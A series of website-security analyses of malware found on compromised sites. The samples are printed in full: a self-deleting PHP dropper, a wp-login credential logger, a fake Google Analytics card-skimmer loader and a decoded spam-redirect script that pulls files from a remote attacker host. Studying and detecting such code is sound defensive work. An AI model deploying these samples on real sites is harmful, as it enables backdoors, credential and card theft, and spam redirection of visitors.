Self-destruct malware

The majority of malware we find on compromised websites have been planted by bad actors with the intention of concealing and accessing backdoor access.

During a recent investigation, we found an interesting variation of this technique. The code was intentionally created to inject backdoors and other tools, but possessed an unusual feature: the injected content is executed only once before self-destructing.

Here is the sample:

<?php
error_reporting(E_ERROR);set_time_limit(0);
if(isset($_POST['zzz'])){
    $tofile='407.php';
    $a =base64_decode(strtr($_POST['zzz'], '-_,', '+/='));
    $a='<?php '.$a.'?>';
    @file_put_contents($tofile,$a);
    require_once('407.php');
    @unlink($tofile);
    exit;

}
?>

This malware is pretty simple and consists of only 13 lines. The code expects a $_POST request with the zzz variable.

Similarly to a malware dropper technique, the zzz variable is decoded and written into another file 407.php. In the statement require_once(), the injected content is evaluated (executed) and subsequently removed with the unlink() call.

The malware doesn't rely on known abused executable functions (for example, the eval() function) and doesn't store any encoded content, which are features that commonly trigger scanners used to detect possible malicious files.

Yet another variant of the cPanel user shadow...

We have discovered a new variant of PHP malware used to edit a cPanel users’s shadow file, allowing for bad actors to change passwords for all of the email accounts under that cPanel user.

In our past blog post, we analyzed this file’s abilities to modify email accounts. Today, we’ll focus on the new additions made to this variant.

At first glance, the code is not human readable. This is due to some layers of obfuscation, with the most obvious being that the majority of the code is encoded in base64.

The second layer of obfuscation becomes more apparent after decoding the base64 text from the _$X variable:

It looks like the malicious user decided to use a type of simple substitution cipher to further obfuscate the code, making it more difficult to detect.

To decode this simple substitution cipher, we used the following PHP:

$_X=base64_decode($_X);
$_X=strtr($_X,'123456aouie','aouie123456');
$_R=preg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);

This snippet first decodes the base64 string from _$X, then uses the strtr PHP function to substitute and replace characters in the decoded text based on the following table:

Cipher 1 2 3 4 5 6 a o u i e
Plaintext a o u i e 1 2 3 4 5 6

A prime example of this functionality would be the PHP variable used to store the values of common email ports:

$p2rts=1rr1y(ai, i87, uei, 660, 99i, 6uo , 99o);
$ports=array(25, 587, 465, 110, 995, 143 , 993);

After fully deobfuscating the malware’s code, it looks very similar to the previous variants—with the exception that this new version contains an uploader. This uploader is triggered whenever a _$GET request is sent with the defined string ?vvebos=olux.

Loading this malware file in a browser displays the following result:

As expected, the malware lists the email account(s) and their new password values, along with some helpful port scanning data for the malicious user. Bad actors can use this information to connect to the email accounts via the Webmail browser interface available on most cPanel hosting accounts. The default webmail ports are 2095 (HTTP) and 2096 (HTTPS) (e.g hxxp://domain.com:2095 or hxxps://domain.com:2096).

Simple WP login stealer

We recently found the following malicious code injected into wp-login.php on multiple compromised websites. \

} // End of login_header()
$username_password=$_POST['log']."----xxxxx----".$_POST['pwd']."ip:".$_SERVER['REMOTE_ADDR'].$time = time()."\r\n";
$hellowp=fopen('./wp-content/uploads/2018/07/[redacted].jpg','a+');
$write=fwrite($hellowp,$username_password,$time);
/**

Code injection in wp-login.php

This snippet for a malicious login stealer demonstrates why file integrity monitoring can be very useful to detect small changes in legitimate website files — especially when malicious code is intended to be undetectable, like in the case of this login stealer.

The login stealer operates in the following manner: when a WordPress user submits their login information to the wp-login.php file, it stores the username in the request under the log parameter and the password under the pwd parameter.

Malicious code captures these credentials from the visitor’s HTTP POST request along with the IP address and current time, then formats the text a bit. Afterwards, it uses fopen to open (or create if it doesn’t exist and configuration allows) a .jpg file and store the captured information from the incoming POST request using the _fwrite _function.

This is a very simple, rudimentary login stealer: it ends up capturing every attempted login, regardless of whether it is successful or not.

When checking websites that have been infected with this injection, we can observe it writing unsuccessful bruteforce attempts to the fake .jpg file:

oardobrogea----xxxxx----www123ip:185.234.218.1041554390893
oardobrogea----xxxxx----web123ip:185.234.218.1041554390893
oardobrogea----xxxxx----123!@#ip:185.234.218.1041554390894
oardobrogea----xxxxx----!@#123ip:185.234.218.1041554390895
...

“Loader for Secured Files” and arrayed b374k shell...

This file (33x77.php) was detected in the document root of a website during a website cleanup for a client. It demonstrates how hackers sometimes use comments or other text within malicious code to confuse website owners and prevent detection and removal of malicious files.

In this case, the “Loader for Secured Files. Copyright 2001-2017. All rights reserved.” text is used in an attempt to add some authenticity to the file. Credibility indicators like copyright or trademark symbols can trick administrators into thinking the file is not malicious, preventing further investigation.

This file’s coding structure also looks unusual — the code uses the function preg_match to perform a regular expression search and assign a group (e.g [1]) to its matching text. The search is then performed on the content provided by the php_strip_whitespace(FILE), which removes comments and whitespaces before it assigns the $f variable — whatever preg_match matches with its regular expression search. The $f variable now contains a string of base64 encoded text, and is decoded into an array using json_decode and base64_decode.

The array of the decoded base64 text string ($f) is logically ordered based on the array values to allow for further code eval:

The additional layers of encoding contain a popular PHP shell named b374k. This shell performs numerous functions to the hosting environment and its website.

Google Analytics Swiper Disguised as Legitimate Traffic

At first glance, this short script looks like benign Google Analytics code:

<script type="text/javascript">
    (function() {
        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
        ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'www.google-analytics.com/analytics.js';
        ga.src = ga.src.replace(window.atob('Z29vZ2xlLWFuYWx5dGljcy5jb20'), window.atob('Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw=='));
        (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ga);
    })();

    var _qaq = _qaq || [];

_qaq.push(['_setAccount', 'UA-33088787-1']);
_qaq.push(['_trackPageview']);
</script>

However, if you inspect it thoroughly, you’ll notice two important details:

  1. The actual Google Analytics code has different format
  2. There is a line of code with base64-encoded values
ga.src = ga.src.replace(window.atob('Z29vZ2xlLWFuYWx5dGljcy5jb20v'), window.atob('Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw=='));

The first value (Z29vZ2xlLWFuYWx5dGljcy5jb20v) decodes to “google-analytics.com/” - still benign.

The second value (Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw==) is more suspicious — “googlc-analytics[.]cm/v/” . While it appears to belong to the Analytics domain, it contains a typo in the Google name and the TLD is .cm instead of .com.

This string of code replaces the publicly visible www.google-analytics.com/analytics.js URL with the malicious www.googlc-analytics[.]cm/v/analytics.js link.

At this point, the malicious link currently returns an old version of the real Google Analytics script. However, if you request the analytics.js file (without /v/) on the same server, you’ll get a credit card stealing script.

The script sends stolen data to the hxxps://www.googlc-analytics[.]cm/__utm.gif?v=1…. URL, which looks similar to Google tracking pixel URL. And if you request it directly, it will actually return a tiny gif image.

This trick allows malicious URLs look indistinguishable from legitimate traffic when people manually check requests generated by a web page. The URLs appear to be a real Google Analytics URL and return the content that you may expect from real Google Analytics URLs. Nonetheless, they are malicious and steal credit card details and credentials from forms when used on webpages that contain the following keywords in their URLs:

  • onepage
  • checkout
  • onestep
  • payment
  • admin
  • account
  • login
  • password
  • cart

Google Analytics is often used to camouflage various types of malicious injections. Here are some other examples that we’ve recently blogged about:

FBCMS Pharmacy Spam Website

Whenever most people think of a website CMS, they most often think of the popular options like WordPress, Joomla, or Drupal. What do all three of those CMS platforms have in common along with most common CMS platforms? They use a programming language like PHP in conjunction with a database that is used to store the user-generated data. Now, in most cases that I have seen throughout the years, it is rare for a hacker to deploy one of these CMS platforms on a compromised website and use it for malicious purposes. It is usually just easier for the hacker to upload a few .zip files containing their doorway spam tools, then unzip them and move onto a new target. The content of these .zip files is usually a large directory containing a few scripts and a lot of SEO spam content that will be used to divert traffic or boost keywords. Another popular technique used by these SEO spammers is to inject existing website files and push new keywords “on-the-fly” from a remote server to the compromised websites hosting the injected files—more on that method here.

I mention this because I came across a pharmacy spam directory on a compromised website that was constructed using the Bootstrap CSS framework, along with various PHP engine files that serve the pharmacy content based on a visitor’s geolocation. Once it is loaded, it looks like a generic CMS or Bootstrap designed website except it is dedicated entirely to pharmacy spam:

Easily deployed, customisable pharmacy spam website
Easily deployed, customisable pharmacy spam website

A bizarrely named file ./wp-content/mu-plugins/0-sucuri-boot.php is used to begin loading the malicious pharmacy spam content. It contains similar header comments to our Sucuri plugin to add some fake authenticity. However, the file itself just loads the pharmacy website that was located in the directory wp-content/gforms/:
0-sucuri-boot.php: We do not use a file with such a name in our WordPress plugin
0-sucuri-boot.php: We do not use a file with such a name in our WordPress plugin

While it is unknown how the pharmacy spam website was created it looks like someone spent some time with the overall template as it has many features built into it), the configuration file is located within a ./cfg/config.victimdomain.php. This is used to define the target country (in this case, the United States) and a lot of other features related to what is going to be ultimately displayed to the visitor:

Overall, this pharmacy spam website uses over 750 files since it cannot depend upon a database to store the many pharmacy products it is advertising. It’s important to note that no actual sales occur through this pharmacy spam website that is placed onto compromised websites. Instead it redirects the visitor once they finally are ready to order:

web.config redirect malware

We recently found this malware on a windows hosting server where the web.config file was modified with the following code:

The code redirects multiple user agents and users referred from Google,Yahoo, MSN etc. to conceit-gleaned.php
The file conceit-gleaned.php contains the malware that is encoded to avoid detection, but we were able to reverse it and pull the plain text code.The malware communicates with the website gettheseorders[dot]ru in order to redirect users to the page they want. In this case, it redirected to Viagra-related pages but it could be anything in the future.

This is the malware added to the file conceit-gleaned.php:

<?php $ZdcIihIC="bSh8gtxCo6JlYQiK4AkwdIDe_VnN7OTfFr3sPZHaG291jRUqmcvXMzEy50puLWB";$wHnnxSifPdjM=$ZdcIihIC[0].
 $ZdcIihIC[39] . $ZdcIihIC[35] . $ZdcIihIC[23]. $ZdcIihIC[9] .$ZdcIihIC[16] . $ZdcIihIC[24]. $ZdcIihIC[20] .
 $ZdcIihIC[23]. $ZdcIihIC[49].$ZdcIihIC[8].$ZdcIihIC[20] .$ZdcIihIC[23];$cQBlOMOpUwc=$ZdcIihIC[4].$ZdcIihIC[53] .
 $ZdcIihIC[14].$ZdcIihIC[26] .$ZdcIihIC[31] .$ZdcIihIC[11] . $ZdcIihIC[39] .$ZdcIihIC[5]. $ZdcIihIC[23];
 $bHUDmvkyJ=$ZdcIihIC[23]. $ZdcIihIC[33].$ZdcIihIC[33] . $ZdcIihIC[8] .$ZdcIihIC[33] .$ZdcIihIC[24] .
  $ZdcIihIC[33] .$ZdcIihIC[23]. $ZdcIihIC[58] .$ZdcIihIC[8]. $ZdcIihIC[33] .$ZdcIihIC[5].$ZdcIihIC[14]. 
  $ZdcIihIC[26] .$ZdcIihIC[4];$cBpAXxrcExTv=$ZdcIihIC[49].$ZdcIihIC[33]. $ZdcIihIC[23] . $ZdcIihIC[39].
   $ZdcIihIC[5]. $ZdcIihIC[23].$ZdcIihIC[24]. $ZdcIihIC[31]. $ZdcIihIC[59]. $ZdcIihIC[26].$ZdcIihIC[49]. 
   $ZdcIihIC[5]. $ZdcIihIC[14]. $ZdcIihIC[8] . $ZdcIihIC[26];$bHUDmvkyJ(0);
   $jOfMRiAkmjE=$cBpAXxrcExTv("",$cQBlOMOpUwc($wHnnxSifPdjM("vRhrU9u49nM6w3/wut5i36ZOwqPbKZjClrRlymtDaOfewngUWyFa/
(edited) 
BD00Jz7anEV+JKgEXX5qhb3XF/5/AA==")));$jOfMRiAkmjE();?>

We were able to reverse it and this is the code that causes the redirect:

Here is the full script after we decoded it:

set_time_limit(0);
function change_page_regex($page, $links,$reg,$res){
$elements = array(); if (preg_match_all($reg, $page, $result)) { 
$elements = $result[$res]; $elements = array_unique($elements);
$m=min(count($links),count($elements));
for ($i = 0; $i < $m; $i++) { $link = array_shift($links); $element = array_shift($elements); $page = preg_replace('/' . preg_quote($element, '/') . '/', '$0 ' . $link, $page, 1); } if (count($links)>0){ $element = "<p>"; $element .= implode("<br>\n", $links); $element .= "</p>"; $page = preg_replace('/\<\/body\>/i', "\n" . $element . "\n$0", $page, 1); return $page;}
function curly_page_get($url,$useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"){ $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL,$url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 3000); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_USERAGENT, $useragent); $result = curl_exec ($ch); $curly_page_get_info=curl_getinfo($ch);
curl_close($ch); return array($result,$curly_page_get_info);}
function get_proxy_page(){ $proto=stripos(@$_SERVER['SERVER_PROTOCOL'],'https') === true ? 'https://' : 'http://'; $crurl=$proto.@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI']; list($buf,$curly_page_get_info)=curly_page_get($crurl);
$ct=@$curly_page_get_info['content_type']; $nexturl=@$curly_page_get_info['redirect_url']; $status=@$curly_page_get_info['http_code']; if (status!="")header("Status: $status");
if ($ct!=""){ header("Content-type: $ct"); if ($nexturl!=""){ header("Location: $nexturl"); return array($buf,$ct);
}
if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();if (!is_dir($tmppath)){ $tmppath = (dirname(__FILE__)); } } else { $tmppath = (dirname(__FILE__));}
$content="";$x=@$_POST["pppp_check"];$md5pass="e5e4570182820af0a183ce1520afe43b";
$host=@$_SERVER["HTTP_HOST"];$uri=@$_SERVER["REQUEST_URI"];$host=str_replace("www.","",$host);$md5host=md5($host);$urx=$host.$uri;$md5urx=md5($urx);
$tmppath=$tmppath."/.".$md5host."/";@mkdir($tmppath);
$configs=$tmppath."emoji1.png";$bd=$tmppath."metaicons.jpg";$templ=$tmppath."wp-themesall.gif";
$domain=base64_decode("Z2V0dGhlc2VvcmRlcnMucnU=");$p=md5(base64_decode(@$_POST["p"]));
if (($x!="")&&($p==$md5pass)){
if ($x=="2"){ echo "###UPDATING_FILES###\n"; list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/emoji1.png"); @file_put_contents($configs,$buf1); list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/metaicons.jpg"); @file_put_contents($bd,$buf1); list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/wp-themesall.gif"); @file_put_contents($templ,$buf1);
exit; 
 if ($x=="4"){ echo "###WORKED###\n";exit; 
 }else{
$cf=array(); if (@file_exists($configs)){ $cf=@unserialize(@base64_decode(@file_get_contents($configs))); if (@isset($cf[$md5urx])){ $bot=0;$se=0;$ua=@$_SERVER["HTTP_USER_AGENT"];$ref=@$_SERVER["HTTP_REFERER"];$myip=@$_SERVER["REMOTE_ADDR"]; if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", $ref))$se=1; if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", $ua))$bot=1; $off=$cf[$md5urx]+0; $template=@base64_decode(@file_get_contents($templ));$f=@fopen($bd,"r");@fseek($f,$off);$buf=trim(@fgets($f,10000000));@fclose($f);$info=unserialize(base64_decode($buf)); $keyword=@$info["keyword"];$IDpack=@$info["IDpack"];$base=@$info["base"];$text=@$info["text"];$title=@$info["title"];$description=@$info["description"];$uckeyword=ucwords($keyword);$inside_links=@$info["inside_links"]; if ($bot) { if (isset($info["contenttype"])){$contenttype=@base64_decode($info["contenttype"]);$types=explode("\n",$contenttype);foreach($types as $val){$val=trim($val);if($val!="")header($val);}}
if (isset($info["isdoor"])){
if (isset($info["standalone"])){ $doorcontent=base64_decode($text); echo $doorcontent;exit; }else{ $template=str_replace("%text%",$text,$template); $template=str_replace("%title%",$title,$template); $template=str_replace("%description%",$description,$template); $template=str_replace("%uckeyword%",$uckeyword,$template); $template=str_replace("%keyword%",str_replace(" ", ",", trim($keyword)),$template);
foreach($inside_links as $i => $link){ $template=str_replace("%INSIDE_LINK_".$i."%",$link,$template); }
echo $template;exit; } }else{
list($buf,$ct)=get_proxy_page();
if (stristr($ct,"text/html")){ $rega='/\<a\s.*?\>.*?\<\/a\>/i';$resa=0; $links=$info["links_a"]; $buf=change_page_regex($buf,$links,$rega,$resa);
$regp='/(.{30}\<\/p\>)/is';$resp=1; $links=$info["links_p"]; $buf=change_page_regex($buf,$links,$regp,$resp);
}
echo $buf; }
} if ($se) { if (isset($info["isdoor"])){ list($buf1,$curly_page_get_info)=curly_page_get("http://$domain/ff.php?ip=".$IDpack."&mk=".rawurlencode($keyword)."&base=".rawurlencode($base)."&d=".rawurlencode($host)."&u=".rawurlencode($urx)."&addr=".$myip."&ref=".rawurlencode($ref),$ua); echo $buf1;exit; }else{ list($buf,$ct)=get_proxy_page(); echo $buf;exit; } } }else{
list($buf,$ct)=get_proxy_page(); echo $buf; 
}

You can see here that different data is recorded. By providing only the first two variables, we were still redirected to a spam site:

http://$domain/ff.php?ip=".$IDpack."&mk=".rawurlencode($keyword)."&base=".rawurlencode($base)."&d=".rawurlencode($host)."&u=".rawurlencode($urx)."&addr=".$myip."&ref=".rawurlencode($ref),$ua);
hxxp://gettheseorders[dot]ru/ff.php?ip=12423&mk=test

I was able to get redirected to the following spam/scam sites:

an-order-shop[dot]comalltabsstorekeys[dot]com

In this case, the web.config file was used to facilitate this redirect, as this was a Windows hosting environment, but it can easily be adopted to work under Linux. We recommend checking the .htaccess file or the web.config file if you are dealing with a similar problem. Also removing the malicious files; the path to them can be found in the configuration files I previously mentioned.